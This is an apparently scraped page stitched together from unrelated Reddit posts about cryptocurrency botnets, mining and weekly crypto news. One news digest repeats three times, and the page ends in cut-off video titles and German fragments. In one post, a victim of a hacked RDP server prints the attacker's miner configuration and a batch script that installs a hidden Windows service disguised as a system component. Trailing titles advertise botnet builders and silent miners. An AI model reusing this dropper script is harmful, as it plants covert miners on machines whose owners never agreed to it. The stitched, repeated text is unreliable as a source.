Bitcoin Botnet Mining Crypto-News.net

A week ago I came here because my innocent, little pizza site was hit by a DDoS attack. Now I know, I wasn't the only victim and in fact it was a former bitcoin miner botnet that was "upgraded" to doing DDoS attacks. The Targets? German Pizza delivery services and real estate sites, for some reason.

submitted by hootenanny1 to netsec [link] [comments]

Ousted Bitmain Co-CEO Reportedly Uses Private Security to Overtake Company's Beijing Offices - CoinSpice

Ousted Bitmain Co-CEO Reportedly Uses Private Security to Overtake Company's Beijing Offices - CoinSpice submitted by afriendofsatoshi to btc [link] [comments]

Heres some proof about sigma not being a trojan and omikron client proof from the sigma creator andro

The high GPU usage is due to the GPU acceleration or the UIs. And this is not comparable to other person's GPU usage since every GPU behave differently. You can compare this usage with vanilla 1.15.2's GPU usage. In my personal case, it's about +1~8% higher.
And the overall performance loss over the 1.8 clients is due to the 1.15 itself, the heavy UI, the missing optimisations (performance update soon), the obfuscation, etc
Some people are saying that "conhost.exe" is a malware... It's actually the console process spawned by java.exe which is used by Sigma (instead of the javaw.exe, the window version of java.exe without the console, that is mostly used for Minecraft).
Fun fact: Badlion client and Lunar client are also spawning conhost, and they aren't getting called out as malwares.
Here's a great explanation of what it is: https://www.howtogeek.com/howto/4996/what-is-conhost.exe-and-why-is-it-running/

And Omikron client was not a bitcoin miner, here's the copypasta :
Omikron client didn't have any btc miner / rat / botnet or whatever. The thing running in background was a system to validate the usage of the auto alt / proxy from other computers. Therefore, if you used auto alt / auto proxy, your computer among others validated in some sort of P2P the usage of alts / proxies. If >50% of computers says that a "transaction" is good, it was validated. Omikron decided to do that to counter the abuse of auto alt / auto proxy.
But ofc you could disable that autorun in Omikron Client's setting. And it was clearly written in the client that it would autorun (but no body really read it) if you use auto alts / auto proxy.
Edit, another copypasta:
I know, this is missleading. In the code, finding alts is refenrenced as "mining" them because you have this usepass combo and sometime yay ! Its a working minecraft alt ! The whole problem about all this drama is that its old code written when the client was "ghost client" and putting it in a .m file intead of .minecraft, having the package not named omikron, not using omikron domain name in the code was a good idear to prevent memory scanning cheating software such as BLSquad to find "omikron" but as you can tell it has bring more trouble that anything. You shoudn't be scared, your cpu isn't and wont be used to mine crypto or any unwanted activity and you will soon be able to chose if you want the service to run. In the next release, beside the fact that all of this was moved to .minecraft/Omikron, using proper domain name etc, you will be able to choose if you are using the client and want the background service running to find alts or if you have the client installed but not using it you will be able to disable the background service.
The video that is spreading about Omikron client is only proving that it downloads an autorun, and runs it in the background, which is intended.

Be careful of people trying to spread that Sigma could be a virus. Most of the time, they're made up by people who are clueless and don't know about what they're talking about (ex: conhost).
submitted by Vardenisss to minecraftclients [link] [comments]

Crypto Weekly News

What important crypto events happened last week?
Cryptocurrencies
Monero Presents New Legal Framework In Defense Of Privacy Coins
Riccardo Spagni presented the result of more than a year's work. A whitepaper titled "Anti-Money Laundering Regulation of Privacy-Enabling Cryptocurrencies" has been published. The document was conceived as a new legal framework to protect confidential coins such as Monero, Zcash, Dash, Komodo, and others.
Tether Is Moving 1 Billion More USDT Coins From TRON To Ethereum Blockchain
The total supply of coins will not change. The company carried out the swap on September 15, coordinating its actions "with a third party". In recent weeks, this is the second such stablecoin transfer between blockchains — on August 20, the issuer also moved USDT 1 billion from Tron to Ethereum. Another piece of news about Tether: USDT capitalization exceeded $15 billion, having increased by $3 billion in just a month.
Projects and Updates
Kraken Receives Licence To Establish First U.S Digital Assets Bank
The Kraken Bitcoin exchange was the first in the United States to receive the status of a special purpose depository institution (SPDI), giving it the functions of a traditional financial institution. The corresponding application of the Californian company was approved by the Wyoming Banking Council. This will allow Kraken to opt-out of third-party vendors to perform certain banking functions on its own.
Official Ethereum Proof-of-Stake Algorithm Proposal Published
Ethereum Foundation Lead Developer Danny Ryan has published the official proposal EIP-2982, which suggests the launch of Ethereum 2.0 and the transition from the Proof-of-Work consensus algorithm to Proof-of-Stake. If approved by other leading developers, it will be possible to launch Serenity, Ethereum 2.0 phase zero. Within its framework, the Beacon Chain will be activated, which will use Proof-of-Stake.
Uniswap Provides All Its Users With $1.200
Leading decentralized exchange (DEX) Uniswap has released the UNI governance token. It was listed on the Binance exchange almost immediately. About 13000 Uniswap users have already requested tokens.
Regulations
New Draft Law Suggests The European Union Is Set To Regulate Cryptocurrencies
The European Commission proposed to establish a legal framework for cryptocurrencies, security tokens, and stablecoins by analogy with the requirements for traditional financial instruments. This is stated in the Cryptocurrency Asset Markets Bill. The bill proposes to treat cryptocurrency assets like any other financial instrument. According to the European Commission, this will provide legal clarity.
Digital Assets Recognized As Securities In Nigeria
The regulator clarified that cryptocurrencies offer public alternative investment opportunities. Digital assets can be used as a medium of exchange, settlement, and accumulation. In order to protect investors from risks and not violate the integrity of the market, crypto assets must be controlled on an equal basis with securities. The main task of regulation is not to discourage the development of new technologies, but to ensure fair market competition and adherence to ethical standards.
Hacking
Japanese Crypto Exchange Sues Binance for Role in $63 Million Bitcoin Hack
The Japanese company Fisco Cryptocurrency Exchange, Inc has filed a US lawsuit against Binance Holdings Ltd., accusing it of providing a service to launder cryptocurrency stolen from the Zaif exchange in 2018. Fisco acquired Zaif in 2018 shortly after the hack. Over $9 million in stolen assets could have been funneled through Binance. The company notes that analysts were able to track the movement of all stolen $63 million to one bitcoin address. Subsequently, 1,451.7 BTC were sent from it to Binance addresses.
New Virus Attacks Microsoft SQL Database Servers For Monero Mining
Tencent's cybersecurity division has discovered a new miner virus called MrbMiner. The tactics of the virus are quite simple — the botnet scans the available IP addresses in search of Microsoft SQL servers, and if it detects such, it tries to log in under the administrator account using a brute-force password. If successful, the virus downloads the assm.exe file, which implements a reboot mechanism and creates a special account for hackers to access the server. After that, MrbMiner downloads a miner for mining the anonymous cryptocurrency Monero (XMR).
Mass adoption
Bahamas Geared to Launch Central Bank Digital Currency
The Bahamas wants to be the first country in the world to roll out a government-backed virtual currency nationwide and announced they will launch a central bank-issued cryptocurrency (CBDC) in October. The digital currency, dubbed "sand dollar", is designed to increase the financial availability of remote islands within the archipelago state.
Alibaba On Track To Be The Largest Blockchain Patent Holder By End Of 2020
Computer giant IBM risks losing the title of the largest blockchain patent holder to the Chinese corporation Alibaba. Since the beginning of the year, Alibaba has published ten times more patents than its closest competitor, IBM. According to analysts, if the pace is maintained, the Chinese corporation will become the largest patent holder by the end of the year.
France Begins Central Bank Digital Currency Testing
Société Générale — one of the largest financial conglomerates in Europe — will test the central bank digital currency (CBDC) on the Tezos blockchain. The Bank of France, as a result of the selection of partners, chose the Forge blockchain platform to test CBDC for interbank settlements. As part of the experiment, the feasibility of digitizing financial securities and the possibility of settlements on them using CBDC will be studied. In addition to Nomadic Labs, several technology service providers and consultants will participate in the testing.
Kazakhstan Will Develop A Blockchain Service For Ensuring The Security Of Personal Data
It will allow citizens of the country to control the use of their personal data. The service is planned to be introduced by the end of this year.
People
Kiss Rock Group Member Is Ready To Buy Bitcoin
Gene Simmons supported Cameron Winklevoss's request to use bank accounts to buy Bitcoin and Ether. The co-founder of Gemini tweeted that people who do not have access to banking services find it difficult to become the owners of cryptocurrency and that they need to take advantage of the benefits. The musician commented as follows: "I will. I am." For this moment, the most common opinion on Twitter is that Simmons is already buying cryptocurrency and will continue to increase the amount of Bitcoin he owns.
That’s all for now! For more details follow us on Twitter, subscribe to our YouTube channel, join our Telegram.
submitted by CoinjoyAssistant to CryptoCurrencies [link] [comments]

Crypto Weekly News — September, 18

What important crypto events happened last week?

Cryptocurrencies

Monero Presents New Legal Framework In Defense Of Privacy Coins
Riccardo Spagni presented the result of more than a year's work. A whitepaper titled "Anti-Money Laundering Regulation of Privacy-Enabling Cryptocurrencies" has been published. The document was conceived as a new legal framework to protect confidential coins such as Monero, Zcash, Dash, Komodo, and others.
Tether Is Moving 1 Billion More USDT Coins From TRON To Ethereum Blockchain
The total supply of coins will not change. The company carried out the swap on September 15, coordinating its actions "with a third party". In recent weeks, this is the second such stablecoin transfer between blockchains — on August 20, the issuer also moved USDT 1 billion from Tron to Ethereum. Another piece of news about Tether: USDT capitalization exceeded $15 billion, having increased by $3 billion in just a month.

Projects and Updates

Kraken Receives Licence To Establish First U.S Digital Assets Bank
The Kraken Bitcoin exchange was the first in the United States to receive the status of a special purpose depository institution (SPDI), giving it the functions of a traditional financial institution. The corresponding application of the Californian company was approved by the Wyoming Banking Council. This will allow Kraken to opt-out of third-party vendors to perform certain banking functions on its own.
Official Ethereum Proof-of-Stake Algorithm Proposal Published
Ethereum Foundation Lead Developer Danny Ryan has published the official proposal EIP-2982, which suggests the launch of Ethereum 2.0 and the transition from the Proof-of-Work consensus algorithm to Proof-of-Stake. If approved by other leading developers, it will be possible to launch Serenity, Ethereum 2.0 phase zero. Within its framework, the Beacon Chain will be activated, which will use Proof-of-Stake.
Uniswap Provides All Its Users With $1.200
Leading decentralized exchange (DEX) Uniswap has released the UNI governance token. It was listed on the Binance exchange almost immediately. About 13000 Uniswap users have already requested tokens.

Regulations

New Draft Law Suggests The European Union Is Set To Regulate Cryptocurrencies
The European Commission proposed to establish a legal framework for cryptocurrencies, security tokens, and stablecoins by analogy with the requirements for traditional financial instruments. This is stated in the Cryptocurrency Asset Markets Bill. The bill proposes to treat cryptocurrency assets like any other financial instrument. According to the European Commission, this will provide legal clarity.
Digital Assets Recognized As Securities In Nigeria
The regulator clarified that cryptocurrencies offer public alternative investment opportunities. Digital assets can be used as a medium of exchange, settlement, and accumulation. In order to protect investors from risks and not violate the integrity of the market, crypto assets must be controlled on an equal basis with securities. The main task of regulation is not to discourage the development of new technologies, but to ensure fair market competition and adherence to ethical standards.

Hacking

Japanese Crypto Exchange Sues Binance for Role in $63 Million Bitcoin Hack
The Japanese company Fisco Cryptocurrency Exchange, Inc has filed a US lawsuit against Binance Holdings Ltd., accusing it of providing a service to launder cryptocurrency stolen from the Zaif exchange in 2018. Fisco acquired Zaif in 2018 shortly after the hack. Over $9 million in stolen assets could have been funneled through Binance. The company notes that analysts were able to track the movement of all stolen $63 million to one bitcoin address. Subsequently, 1,451.7 BTC were sent from it to Binance addresses.
New Virus Attacks Microsoft SQL Database Servers For Monero Mining
Tencent's cybersecurity division has discovered a new miner virus called MrbMiner. The tactics of the virus are quite simple — the botnet scans the available IP addresses in search of Microsoft SQL servers, and if it detects such, it tries to log in under the administrator account using a brute-force password. If successful, the virus downloads the assm.exe file, which implements a reboot mechanism and creates a special account for hackers to access the server. After that, MrbMiner downloads a miner for mining the anonymous cryptocurrency Monero (XMR).

Mass adoption

Bahamas Geared to Launch Central Bank Digital Currency
The Bahamas wants to be the first country in the world to roll out a government-backed virtual currency nationwide and announced they will launch a central bank-issued cryptocurrency (CBDC) in October. The digital currency, dubbed "sand dollar", is designed to increase the financial availability of remote islands within the archipelago state.
Alibaba On Track To Be The Largest Blockchain Patent Holder By End Of 2020
Computer giant IBM risks losing the title of the largest blockchain patent holder to the Chinese corporation Alibaba. Since the beginning of the year, Alibaba has published ten times more patents than its closest competitor, IBM. According to analysts, if the pace is maintained, the Chinese corporation will become the largest patent holder by the end of the year.
France Begins Central Bank Digital Currency Testing
Société Générale — one of the largest financial conglomerates in Europe — will test the central bank digital currency (CBDC) on the Tezos blockchain. The Bank of France, as a result of the selection of partners, chose the Forge blockchain platform to test CBDC for interbank settlements. As part of the experiment, the feasibility of digitizing financial securities and the possibility of settlements on them using CBDC will be studied. In addition to Nomadic Labs, several technology service providers and consultants will participate in the testing.
Kazakhstan Will Develop A Blockchain Service For Ensuring The Security Of Personal Data
It will allow citizens of the country to control the use of their personal data. The service is planned to be introduced by the end of this year.

People

Kiss Rock Group Member Is Ready To Buy Bitcoin
Gene Simmons supported Cameron Winklevoss's request to use bank accounts to buy Bitcoin and Ether. The co-founder of Gemini tweeted that people who do not have access to banking services find it difficult to become the owners of cryptocurrency and that they need to take advantage of the benefits. The musician commented as follows: "I will. I am." For this moment, the most common opinion on Twitter is that Simmons is already buying cryptocurrency and will continue to increase the amount of Bitcoin he owns.
That’s all for now! For more details follow us on Twitter, subscribe to our YouTube channel, join our Telegram.
submitted by CoinjoyAssistant to u/CoinjoyAssistant [link] [comments]

Crypto Weekly News

What important crypto events happened last week?
Cryptocurrencies
Monero Presents New Legal Framework In Defense Of Privacy Coins
Riccardo Spagni presented the result of more than a year's work. A whitepaper titled "Anti-Money Laundering Regulation of Privacy-Enabling Cryptocurrencies" has been published. The document was conceived as a new legal framework to protect confidential coins such as Monero, Zcash, Dash, Komodo, and others.
Tether Is Moving 1 Billion More USDT Coins From TRON To Ethereum Blockchain
The total supply of coins will not change. The company carried out the swap on September 15, coordinating its actions "with a third party". In recent weeks, this is the second such stablecoin transfer between blockchains — on August 20, the issuer also moved USDT 1 billion from Tron to Ethereum. Another piece of news about Tether: USDT capitalization exceeded $15 billion, having increased by $3 billion in just a month.
Projects and Updates
Kraken Receives Licence To Establish First U.S Digital Assets Bank
The Kraken Bitcoin exchange was the first in the United States to receive the status of a special purpose depository institution (SPDI), giving it the functions of a traditional financial institution. The corresponding application of the Californian company was approved by the Wyoming Banking Council. This will allow Kraken to opt-out of third-party vendors to perform certain banking functions on its own.
Official Ethereum Proof-of-Stake Algorithm Proposal Published
Ethereum Foundation Lead Developer Danny Ryan has published the official proposal EIP-2982, which suggests the launch of Ethereum 2.0 and the transition from the Proof-of-Work consensus algorithm to Proof-of-Stake. If approved by other leading developers, it will be possible to launch Serenity, Ethereum 2.0 phase zero. Within its framework, the Beacon Chain will be activated, which will use Proof-of-Stake.
Uniswap Provides All Its Users With $1.200
Leading decentralized exchange (DEX) Uniswap has released the UNI governance token. It was listed on the Binance exchange almost immediately. About 13000 Uniswap users have already requested tokens.
Regulations
New Draft Law Suggests The European Union Is Set To Regulate Cryptocurrencies
The European Commission proposed to establish a legal framework for cryptocurrencies, security tokens, and stablecoins by analogy with the requirements for traditional financial instruments. This is stated in the Cryptocurrency Asset Markets Bill. The bill proposes to treat cryptocurrency assets like any other financial instrument. According to the European Commission, this will provide legal clarity.
Digital Assets Recognized As Securities In Nigeria
The regulator clarified that cryptocurrencies offer public alternative investment opportunities. Digital assets can be used as a medium of exchange, settlement, and accumulation. In order to protect investors from risks and not violate the integrity of the market, crypto assets must be controlled on an equal basis with securities. The main task of regulation is not to discourage the development of new technologies, but to ensure fair market competition and adherence to ethical standards.
Hacking
Japanese Crypto Exchange Sues Binance for Role in $63 Million Bitcoin Hack
The Japanese company Fisco Cryptocurrency Exchange, Inc has filed a US lawsuit against Binance Holdings Ltd., accusing it of providing a service to launder cryptocurrency stolen from the Zaif exchange in 2018. Fisco acquired Zaif in 2018 shortly after the hack. Over $9 million in stolen assets could have been funneled through Binance. The company notes that analysts were able to track the movement of all stolen $63 million to one bitcoin address. Subsequently, 1,451.7 BTC were sent from it to Binance addresses.
New Virus Attacks Microsoft SQL Database Servers For Monero Mining
Tencent's cybersecurity division has discovered a new miner virus called MrbMiner. The tactics of the virus are quite simple — the botnet scans the available IP addresses in search of Microsoft SQL servers, and if it detects such, it tries to log in under the administrator account using a brute-force password. If successful, the virus downloads the assm.exe file, which implements a reboot mechanism and creates a special account for hackers to access the server. After that, MrbMiner downloads a miner for mining the anonymous cryptocurrency Monero (XMR).
Mass adoption
Bahamas Geared to Launch Central Bank Digital Currency
The Bahamas wants to be the first country in the world to roll out a government-backed virtual currency nationwide and announced they will launch a central bank-issued cryptocurrency (CBDC) in October. The digital currency, dubbed "sand dollar", is designed to increase the financial availability of remote islands within the archipelago state.
Alibaba On Track To Be The Largest Blockchain Patent Holder By End Of 2020
Computer giant IBM risks losing the title of the largest blockchain patent holder to the Chinese corporation Alibaba. Since the beginning of the year, Alibaba has published ten times more patents than its closest competitor, IBM. According to analysts, if the pace is maintained, the Chinese corporation will become the largest patent holder by the end of the year.
France Begins Central Bank Digital Currency Testing
Société Générale — one of the largest financial conglomerates in Europe — will test the central bank digital currency (CBDC) on the Tezos blockchain. The Bank of France, as a result of the selection of partners, chose the Forge blockchain platform to test CBDC for interbank settlements. As part of the experiment, the feasibility of digitizing financial securities and the possibility of settlements on them using CBDC will be studied. In addition to Nomadic Labs, several technology service providers and consultants will participate in the testing.
Kazakhstan Will Develop A Blockchain Service For Ensuring The Security Of Personal Data
It will allow citizens of the country to control the use of their personal data. The service is planned to be introduced by the end of this year.
People
Kiss Rock Group Member Is Ready To Buy Bitcoin
Gene Simmons supported Cameron Winklevoss's request to use bank accounts to buy Bitcoin and Ether. The co-founder of Gemini tweeted that people who do not have access to banking services find it difficult to become the owners of cryptocurrency and that they need to take advantage of the benefits. The musician commented as follows: "I will. I am." For this moment, the most common opinion on Twitter is that Simmons is already buying cryptocurrency and will continue to increase the amount of Bitcoin he owns.
That’s all for now! For more details follow us on Twitter, subscribe to our YouTube channel, join our Telegram.
submitted by CoinjoyAssistant to cryptoeconomynet [link] [comments]

MoneroOcean pool owner supports botnets

Hi guys,
As of late my vps that was running Microsoft's RDP got hacked. The attacker ran a malware miner named system.exe that was using 99% CPU. I'm gonna post a screenshot of all of it right here so he gets publicly exposed for his deeds.
https://imgur.com/a/yArkTR8
By further investigation I found that this miner uses config.json as it's configuration file and I'm posting the contents also publicly here:
{ "algo": "cryptonight", "api": { "port": 0, "access-token": null, "id": null, "worker-id": null, "ipv6": false, "restricted": true }, "asm": true, "autosave": true, "av": 0, "background": false, "colors": true, "cpu-affinity": null, "cpu-priority": null, "donate-level": 0, "huge-pages": true, "hw-aes": null, "log-file": null, "max-cpu-usage": 100, "pools": [ { "url": "gulf.moneroocean.stream:80", "user": "44CZd8EvSktM2FzqMVbMBc9pWDcL45yYTWY3VzdymUbjDG6F1734vQh4dj9hjn7tj3eFohS8NGSDSNNVzBxLt7Eb8Vw8vrq", "pass": "x", "rig-id": null, "nicehash": false, "keepalive": false, "variant": -1, "enabled": true, "tls": false, "tls-fingerprint": null } ], "print-time": 60, "retries": 5, "retry-pause": 5, "safe": false, "threads": [ { "low_power_mode": 1, "affine_to_cpu": false, "asm": true }, { "low_power_mode": 1, "affine_to_cpu": false, "asm": true }, { "low_power_mode": 1, "affine_to_cpu": false, "asm": true } ], "user-agent": null, "watch": true }
cmd.bat contents are the following:
attrib -a -s -r -h C:\WINDOWS\Debug\nat* net stop Networks taskkill /f /im system.exe C:\WINDOWS\Debug\nat\svchost.exe install "Networks20181019" C:\WINDOWS\Debug\nat\system.exe sc config "Networks20181019" DisplayName= "Networksr20181019" sc description "Networks20181019" "Microsoft Windows Networks" Set ProcessName=system.exe sc start "Networks20181019" attrib +a +s +r +h C:\WINDOWS\Debug\nat* echo u/off del %USERPROFILE%\Desktop\0.exe
I've scanned everything on VirusTotal and upon visiting the pool I've noticed that the miner has a hefty 50 KH/s. I've also contacted the pool owner via Discord and can post the whole discussion if anyone is willing to see it. He doesn't want to ban the miner, shortly.
I'm not so familiar with Monero but I had Bitcoins and I fully support the mining community. I understand that people with botnets increase difficulty for normal people to make a profit. I've also reported this guy to his ISP by examining the IP found in Event Viewer, since he didn't use a VPN (the IP isn't detected as proxy). I won't post the IP's publicly.
What more can I do? The pool owner also threatened me to report another XMR wallet address to SupportXMR pool because he thought I was a competitive attacker. I can also give that address aswell.
Thank you for reading and stay safe :)
submitted by r00t_of_bnets to Monero [link] [comments]

What is bitcoin mining? And what does ‘mining’ mean?

submitted by geeth707 to BitcoinBeginners [link] [comments]

Just a Wink and Smile - the Avaddon Pathway to Doom

The new Avaddon ransomware has come alive in an enormous spam campaign targeting online users with emails containing a wink emoji.
What is happening The Avaddon ransomware is being propagated via the Phorphiex/Trik botnet. The malspam messages try to entice the recipients into opening a photo, with a wink emoji in the email body. The phishing email contains a zip file that contains a JavaScript file. Once the JavaScript file is launched, the Trik worm, Gozi banking trojan, CryptoNight XMRig cryptocurrency miner, and Gandcrab ransomware are loaded.
Looking into the past Phorphiex/Trik botnet is one of the few botnets capable of packing a strong payload punch. Trik botnet is at least a decade old and first was dissipated via live chat and USB storage drives. While last year’s campaign contained female names in the phishing email, this year the display names were male. In 2018, 43 million email addresses leaked from the C&C server of the botnet.
Worth noting The monetary demand varies and payment is accepted in bitcoins. Their site contains 24/7 support assistance and ways to obtain bitcoin, along with a QR code and wallet address for payment. The operators are targeting users worldwide, proven by the presence of 9 language options on their site. The related IOCs can be found here.
The bottom line The threat actors behind Avaddon have posted on Russian hacker forums that they are a Ransomware-as-a-Service (RaaS) program. Following the RaaS rules, the actors will not target the Commonwealth of Independent States. Security experts expect to see a rise in advanced attack tactics and increasing distribution of the ransomware.
submitted by tonyrogerz to Tech_And_Hacking_News [link] [comments]

Only 20% of the blocks coming into the fork are voting v7

This is based off all blocks starting from 1545600 (400 blocks away from fork). This will potentially mean that the compute available after the fork is 1/5 what the network thinks, with very slow blocks coming up while it adjusts to the true hash rate.
I've made a pull request to Monero (https://github.com/monero-project/monero/pull/2887) with a difficulty algorithm (originally from the Masari project) that is much more responsive and solves problems that Monero had in the last fork and in this coming fork. Whether it's this algorithm or something else, we need the currently outdated difficulty algorithm in Monero to change for future protocol upgrades.
Discourse on this subject matter is welcome.
edit: some chain-forked projects (i.e. XMC) have used this statistic in false attempt to legitimize it, and to be clear this post is only intended to address the difficulty algorithm in place when dealing with large hash rate fluctuations caused by ASIC centralization or outdated botnets.
submitted by thaerkh to Monero [link] [comments]

WE'RE FORKED

submitted by equismic to Monero [link] [comments]

Botnets are Ruining the Integrity of the Monero Network

Take a look at the difficulty charts and watch the botnets grow. If this network is run by bad actors and the ethical cannot compete, then I don't think Monero is decentralized anymore.
submitted by crucial-conduit to Monero [link] [comments]

XMR hash rate dropped by over 80% after ASIC hard fork • r/ethereum

submitted by unitedstatian to btc [link] [comments]

Why is the RandomX algorithm being hyped to the moon?

TL;DR: don't assume the average return from mining RandomX will be higher than the current CryptonightR algorithm. Hold back your excitement for now.
I think we all need to bring something to our attention. Over the last month, there have been so many topics and comments here on MoneroMining about the new 'RandomX' algorithm. This algorithm is supposed to be launched a couple of months from now.
There are many questions like "is this a good hashrate for my CPU"? "What's your power usage on RandomX"? "How can I tune my CPU for RandomX"? "How would the algorithm perform on this hardware"? I think these are great constructive comments that are at the heart of what miners stand for. We miners love optimizing our rigs and educating ourselves on technological trends.
But I've noticed many questions such as "what parts should I buy for a RandomX mining rig"? "Is an AMD Ryzen 9 3900x a good investment"? "What parts will give me the most profit when RandomX launches"? Many of these questions are asked with very little research.
I think there's a gold fever brewing behind some of these comments. The kind of motives that have bankrupted many miners in the past bubbles.
As we have seen in 2014 and 2018, anybody who enters the crypto industry with an 'I want easy profit' attitude almost always goes bankrupt. They buy coins or hardware at the peak of the bubble. Sometimes they get lucky and sell their coins or rigs right before the crash (only to get burned in a future bubble later). But most of the time, these new users lose most of their investment.
As a veteran miner, a lot of alarm bells ring in my head when I read these kinds of RandomX hype posts.
I have no reason to think CPU mining will be more profitable on RandomX than on the current CryptonightR.
In the GPU mining community, I have the feeling that there's a lot of resentment over the 2018 crypto recession and the whole 'ASIC miner invasion'. I think people here are feeling burned over their losses last year and the evil ASIC takeover, and want an opportunity for the little guy to start mining again. So we're falsely seeing the RandomX ray of hope as a floodlight, and getting overexcited.
And in general, the ordinary person cannot make a significant, steady profit in the crypto mining industry. The guy who wrote that thread is very rich and even 100 GTX 1080 Ti's cost nothing to him. The reason he became wealthy is because he avoided get-rich-quick gimmicks back in the day (like the dotcom sites) and focused on learning technology for the future. Mining will not make you rich, and especially not RandomX coin tossing.
If you love RandomX, build your rig now, keep benchmarking and undervolting and have fun at it. But if you just want profit, wait until RandomX is up and running. And consider all the risks involved with a new algorithm and commercial mining in general.
So I hope we can all reconsider whether we're excited about RandomX for the right reasons. Let's try to avoid jumping to conclusions about profitability and hold off on the Newegg 'checkout' button. Even though 12 cores at 70 watts sounds awesome. Happy mining!
submitted by Hammereditor to MoneroMining [link] [comments]

AMA: Ask Mike Anything

Hello again. It's been a while.
People have been emailing me about once a week or so for the last year to ask if I'm coming back to Bitcoin now that Bitcoin Cash exists. And a couple of weeks ago I was summoned on a thread called "Ask Mike Hearn Anything", but that was nothing to do with me and I was on holiday in Japan at the time. So I figured I should just answer all the different questions and answers in one place rather than keep doing it individually over email.
Firstly, thanks for the kind words on this sub. I don't take part anymore but I still visit occasionally to see what people are talking about, and the people posting nice messages is a pleasant change from three years ago.
Secondly, who am I? Some new Bitcoiners might not know.
I am Satoshi.
Just kidding. I'm not Satoshi. I was a Bitcoin developer for about five years, from 2010-2015. I was also one of the first Bitcoin users, sending my first coins in April 2009 (to SN), about 4 months after the genesis block. I worked on various things:
You can see a trend here - I was always interested in developing peer to peer decentralised applications that used Bitcoin.
But what I'm best known for is my role in the block size debate/civil war, documented by Nathaniel Popper in the New York Times. I spent most of 2015 writing extensively about why various proposals from the small-block/Blockstream faction weren't going to work (e.g. on replace by fee, lightning network, what would occur if no hard fork happened, soft forks, scaling conferences etc). After Blockstream successfully took over Bitcoin Core and expelled anyone who opposed them, Gavin and I forked Bitcoin Core to create Bitcoin XT, the first alternative node implementation to gain any serious usage. The creation of XT led to the imposition of censorship across all Bitcoin discussion forums and news outlets, resulted in the creation of this sub, and Core supporters paid a botnet operator to force XT nodes offline with DDoS attacks. They also convinced the miners and wider community to do nothing for years, resulting in the eventual overload of the main network.
I left the project at the start of 2016, documenting my reasons and what I expected to happen in my final essay on Bitcoin in which I said I considered it a failed experiment. Along with the article in the New York Times this pierced the censorship, made the wider world aware of what was going on, and thus my last gift to the community was a 20% drop in price (it soon recovered).

The last two years

Left Bitcoin ... but not decentralisation. After all that went down I started a new project called Corda. You can think of Corda as Bitcoin++, but modified for industrial use cases where a decentralised p2p database is more immediately useful than a new coin.
Corda incorporates many ideas I had back when I was working on Bitcoin but couldn't implement due to lack of time, resources, because of ideological wars or because they were too technically radical for the community. So even though it's doesn't provide a new cryptocurrency out of the box, it might be interesting for the Bitcoin Cash community to study anyway. By resigning myself to Bitcoin's fate and joining R3 I could go back to the drawing board and design with a lot more freedom, creating something inspired by Bitcoin's protocol but incorporating all the experience we gained writing Bitcoin apps over the years.
The most common question I'm asked is whether I'd come back and work on Bitcoin again. The obvious followup question is - come back and work on what? If you want to see some of the ideas I'd have been exploring if things had worked out differently, go read the Corda tech white paper. Here's a few of the things it might be worth asking about:
I don't plan on returning to Bitcoin but if you'd like to know what sort of things I'd have been researching or doing, ask about these things.
edit: Richard pointed out some essays he wrote that might be useful, Enterprise blockchains for cryptocurrency experts and New to Corda? Start here!
submitted by mike_hearn to btc [link] [comments]

Why BCH instead of an ASIC-resistant currency?

I'm sorry if this is a stupid question, but with all the debate between BTC and BCH, I was wondering why we even stick with a SHA-256 currency in the first place.
There are so many available coins now that feature better privacy or can efficiently be mined with a GPU, and therefore have much more decentralization potential. Do we prefer Bitcoin (either one) only because it was here first and because of its popularity?
If it's because it was here first, then wouldn't sticking with it when better options are available an objection to progress? BCH fans seem to just want to make crypto better, but does that only stand as long as it's still Bitcoin?
It wouldn't make sense either to stick with BCH only because it's popular and has a good market cap, since if you want popular, you should just stay with BTC...
Would anyone explain what I'm missing?
submitted by plgod to btc [link] [comments]

The Pirate Bay is secretly running a Bitcoin miner in the background, increasing your CPU usage...

The Pirate Bay is secretly running a Bitcoin miner in the background, increasing your CPU usage... submitted by pecuniology to btc [link] [comments]

The Bondnet Army - a botnet of thousands of cryptocurrency miners unveiled

submitted by yoniyoniyoni to netsec [link] [comments]

Preparing for PoW change: can we get a testnet running to get a pool of GPUs running on the new PoW

It's pretty clear what needs to be done. Rather than what ifs, it seems like it's time to act. Do the core devs have clients ready and tested for alternate PoW implementation? Can we get clients distributed that will GPU mine the alternate PoW?
Hi Jihan Wu :P
submitted by over100 to Bitcoin [link] [comments]

Some photos of the KnCMiner data center ... DAMM

Some photos of the KnCMiner data center ... DAMM submitted by Timbo925 to Bitcoin [link] [comments]

Without ASICs, there would be large botnets that are more centralized

Without ASICs, there would be large botnets that are more centralized submitted by uMCCCS to btc [link] [comments]

The last ASIC hardfork gave us key reuse problems, Monero Classic/Original, a 50% price drop and exchanges disabling XMR for a week or more

Haven't we learned from last time?
Good luck everyone and I hope you do what is right. ASICs are an investment into Monero, not a thread. You trust the 4 big botnets on Monero more than FPGA/ASIC miners?
If ASICs are sooo bad, why is Bitcoin still alive?
submitted by lacksfish to Monero [link] [comments]

FREE Monero botnet builder or setup your own hidden miner installer v3 (Update OCT 2018) Botnet Silent Bitcoin Mining Tutorial + downloads! Pool Support 22 Botnet: Silent Bitcoin Mining - Tutorial + downloads! [Pool Support] How to make money off your botnet - YouTube SILENT MONERO MINER 2019 (v.1.5)

Sie hätten festgestellt, dass das „Miner-Botnetz“ zusätzlich zur „Bitcoin“-Komponente ein Modul integriere, mit dem gezielt Webseiten lahmgelegt werden könnten, erklärt Tillmann Werner, „Senior Virus Analyst“ bei KASPERSKY lab. „Miner“ sei eine besondere Bedrohung, weil das Zombie-Netz nicht wie gewohnt über einen zentralen Server, sondern über ein verteiltes Peer-to-Peer ... Smominru Miner Botnet Fallstudie Das um Mai 2017 erstellte Smominru-Miner-Botnetz hatte bis Februar 2018 erfolgreich rund 9.000 Monero-Token im Wert von rund 3,6 Millionen US-Dollar abgebaut. Forscher des Cybersicherheitsunternehmens Proofpoint behaupten, dass das Botnetz „mehr als 526.000 infizierte Windows-Hosts enthält, von denen wir glauben, dass es sich um Server handelt . The Bitcoin client has not been embedded into Mirai on its own. Instead, the Bitcoin miners play a major role behind the archival of files that can be found in the Mirai dropper. This dropper is a Linux shell or a Dofloo backdoor and it can work as a Bitcoin miner slave. Even though a lot of information about the attackers has not yet been ... Interestingly, Bitcoin is no more the number one coin among cybercriminals. It is slow and requires high transaction fees. Monero has become very popular for its easy mining, and Dash is the best coin for ransomware authors. Here are the top 3 crypto mining botnets: 1) Smominru, the Biggest Mining Botnet to Date Smominru Miner Botnet-Fallstudie . Das Smominru-Miner-Botnetz, das 